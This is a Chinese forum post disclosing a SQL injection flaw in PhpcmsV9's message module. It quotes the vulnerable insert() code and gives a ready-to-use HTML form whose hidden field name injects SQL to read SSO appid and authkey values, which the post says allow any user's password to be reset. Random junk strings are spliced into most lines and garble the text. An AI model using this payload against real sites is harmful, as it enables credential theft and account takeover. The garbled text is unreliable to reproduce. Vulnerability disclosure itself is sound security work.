找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2134|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:3 s. U+ R+ I1 N3 _
- p7 H. y) L0 r$ a! _; q
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。; ^% e+ V" I! ?' n# {
# P" D$ Y1 C! Q9 S7 h
明天再更新下一个漏洞。
  @2 Y" c5 i0 a$ ^( D# Z- X详细说明:
* @- F0 u3 u( s& K5 f2 t在/phpcms9/phpcms/modules/message/index.php中有代码如下:; r, i1 g5 n4 w- C$ W9 l( m# N/ ]
2 s1 n: Z8 |% z5 a4 R) S6 a
$messageid = $this->message_db->insert($_POST['info'],true);  t- I5 h# `& U8 q
! X, t8 O4 P$ J6 I+ `) i4 P

$ X' i; y4 B  G& m/ qinsert方法是key value的,代码如下:
1 h& Q) Q8 w( }* e, w
5 ]5 j4 O$ |  W( npublic function insert($data, $table, $return_insert_id = false, $replace = false) {: D/ e' U+ C2 R6 S0 [
                if(!is_array( $data ) || $table == '' || count($data) == 0) {" `+ ~/ S0 o0 c2 D- p
                        return false;
- J3 u7 q9 c- K8 _, z1 f                }' \8 l! l: r; O. u! r
               
4 J' A% w! A- {" k. e' B& Z                $fielddata = array_keys($data);: \' K; Q# Z# t5 a
                $valuedata = array_values($data);& }% W, U1 }. q
                array_walk($fielddata, array($this, 'add_special_char'));7 A% y* \3 O4 [# d( C
                array_walk($valuedata, array($this, 'escape_string'));
7 k5 S# i# N( j3 S                ' D/ i: q9 w0 S1 W! p! c: ~
                $field = implode (',', $fielddata);5 A2 f& g5 v. L9 q; B
                $value = implode (',', $valuedata);
" t; n* `9 G- D" y( H, X) G' F1 Z6 f/ k0 E8 i) N
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
2 J! E0 b6 H* H$ [! j                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
; V8 l& ?4 o2 I: c& [6 W                $return = $this->execute($sql);
+ Q: {! H# o% s( z# D" q                return $return_insert_id ? $this->insert_id() : $return;
- E; N0 b2 J6 N# x5 W6 C- h        }' Q2 \- Y: g' ]9 H1 \; G' Q  w. T

' F0 Z5 \, f" ]. a
. b6 X/ B" T2 W7 i嗯,很遗憾的是
, _1 ~: h; T) R5 [& ^3 A! d  e) k2 o$ `6 Y
array_walk($fielddata, array($this, 'add_special_char'));
, U( a5 G7 D1 N5 [  M3 E  O" q2 y. Y" n' v4 a0 _  Z
0 z+ o0 j& o9 D  Q4 \$ u& d' B% Y
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
3 s4 Z$ n& @- j1 [9 c1 G9 X* n+ ^; Q6 ?; U) C
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
) K# d! L5 Z9 P, e7 p# U6 ^3 e- _  m/ H" n" ~! j
漏洞证明:
& K2 Y6 Y) B9 ]! T- Z# M读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。3 g/ `  h( d/ o1 N( g9 w/ S! I

) O- o. h% b: j6 Q( x
( O+ d$ ]7 A8 x表单如下:用户名什么的得自己改一改。* r/ D3 B5 @5 m$ u( n7 I
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">9 o- |+ L+ X2 ~* R& r
<table width="100%" cellspacing="0" class="table_form">
/ i+ w& Y2 n7 l6 Q<tr>
1 f. p0 |! c& X$ K$ H<th>标 题:</th>" [' D7 {4 x6 K; ], ~& {' X
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td># z/ l6 I- l" t7 b
</tr>
+ Y2 a6 F9 E2 H# h& w# {4 O4 S<tr>; x, T/ @+ S5 e" o8 {1 J: Z
<th>内 容:</th>8 z4 O8 J& x2 }1 k+ z
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
$ m  s% j# p) q0 [</tr>4 }% l2 p) v, S! Z
<input type="hidden" name="info[replyid]" value="2" /> 0 Q' X6 T$ t2 }
<input type="hidden" name="info[send_to_id]" value="cc" /> 2 n( N. C3 g( F* Q8 }) a# n
<input type="hidden" name="info[send_from_id]" value="hh">
* r6 U% H: ^8 u/ x" T4 h9 N<!-- 漏洞的利用重点在这里开始 -->+ o- C8 O  w7 Y! a1 p0 T" o& T
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
; o" D! t" p& Y! T* y- v<!-- 漏洞的利用重点在这里结束 -->" P- w: E- P. F; o
<tr>8 [: [3 C# q& O
<th>验证码:</th>! H0 Y4 B' {9 i
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
% _4 k8 o% _* v+ f+ `</tr>; n# h; \( p; l8 a- R
<tr>
7 E) g9 w5 N  F5 A+ u5 _<td></td>
4 G/ T) e7 b" P% o<td colspan="2"><label>
( l& A" i; X9 D: I- \$ ^<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>: N$ {0 g$ T- W4 z
</label></td>
" i6 J  r7 H/ x# s% O! [: b8 n+ N* `, k</tr>* P- N4 m, p5 s4 ^! j4 t
</table>& F& M; m: g" {  n8 M; T' j6 E+ R. v
</form>
8 i! N, z: p6 e! Y2 a9 v5 x4 v在add_special_char函数内对key做过滤就可以了。  l( G- {9 H  `7 w! k

: J' ?+ J: ]- ?4 j
9 [3 a# h8 H) [% r7 F$ k% ?2 B: _( N' [

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表